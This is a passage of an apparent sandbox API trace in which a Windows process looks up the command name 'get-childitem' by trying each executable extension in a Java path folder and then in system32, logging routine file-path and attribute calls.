lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.672] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.672] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.EXE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.EXE", lpFilePart=0x0) returned 0x35 [0111.672] GetFullPathNameW (in: lpFileName="get-childitem.EXE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.EXE", lpFilePart=0x0) returned 0x2f [0111.673] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.EXE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.673] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.673] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.673] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.673] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.BAT", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.BAT", lpFilePart=0x0) returned 0x35 [0111.673] GetFullPathNameW (in: lpFileName="get-childitem.BAT", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.BAT", lpFilePart=0x0) returned 0x2f [0111.673] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.BAT", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.673] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.673] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.674] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.674] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.CMD", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.CMD", lpFilePart=0x0) returned 0x35 [0111.674] GetFullPathNameW (in: lpFileName="get-childitem.CMD", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.CMD", lpFilePart=0x0) returned 0x2f [0111.674] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.CMD", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.674] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.674] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.675] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.675] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.VBS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.VBS", lpFilePart=0x0) returned 0x35 [0111.675] GetFullPathNameW (in: lpFileName="get-childitem.VBS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.VBS", lpFilePart=0x0) returned 0x2f [0111.675] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.VBS", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.675] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.675] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.675] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.675] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.VBE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.VBE", lpFilePart=0x0) returned 0x35 [0111.675] GetFullPathNameW (in: lpFileName="get-childitem.VBE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.VBE", lpFilePart=0x0) returned 0x2f [0111.675] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.VBE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.676] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.676] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.676] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.676] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.JS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.JS", lpFilePart=0x0) returned 0x34 [0111.676] GetFullPathNameW (in: lpFileName="get-childitem.JS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.JS", lpFilePart=0x0) returned 0x2e [0111.676] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.JS", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.676] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.676] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.677] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.677] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.JSE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.JSE", lpFilePart=0x0) returned 0x35 [0111.677] GetFullPathNameW (in: lpFileName="get-childitem.JSE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.JSE", lpFilePart=0x0) returned 0x2f [0111.677] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.JSE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.677] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.677] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.677] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.677] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.WSF", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.WSF", lpFilePart=0x0) returned 0x35 [0111.677] GetFullPathNameW (in: lpFileName="get-childitem.WSF", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.WSF", lpFilePart=0x0) returned 0x2f [0111.677] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.WSF", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.678] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.678] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.678] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.678] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.WSH", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.WSH", lpFilePart=0x0) returned 0x35 [0111.678] GetFullPathNameW (in: lpFileName="get-childitem.WSH", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.WSH", lpFilePart=0x0) returned 0x2f [0111.678] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.WSH", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.678] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.678] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.678] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.678] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.MSC", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.MSC", lpFilePart=0x0) returned 0x35 [0111.679] GetFullPathNameW (in: lpFileName="get-childitem.MSC", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.MSC", lpFilePart=0x0) returned 0x2f [0111.679] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.MSC", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.679] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.679] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.679] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.679] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.CPL", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.CPL", lpFilePart=0x0) returned 0x35 [0111.679] GetFullPathNameW (in: lpFileName="get-childitem.CPL", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.CPL", lpFilePart=0x0) returned 0x2f [0111.679] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.CPL", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.679] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.680] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.680] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.680] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem", lpFilePart=0x0) returned 0x31 [0111.680] GetFullPathNameW (in: lpFileName="get-childitem", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem", lpFilePart=0x0) returned 0x2b [0111.680] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.680] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, 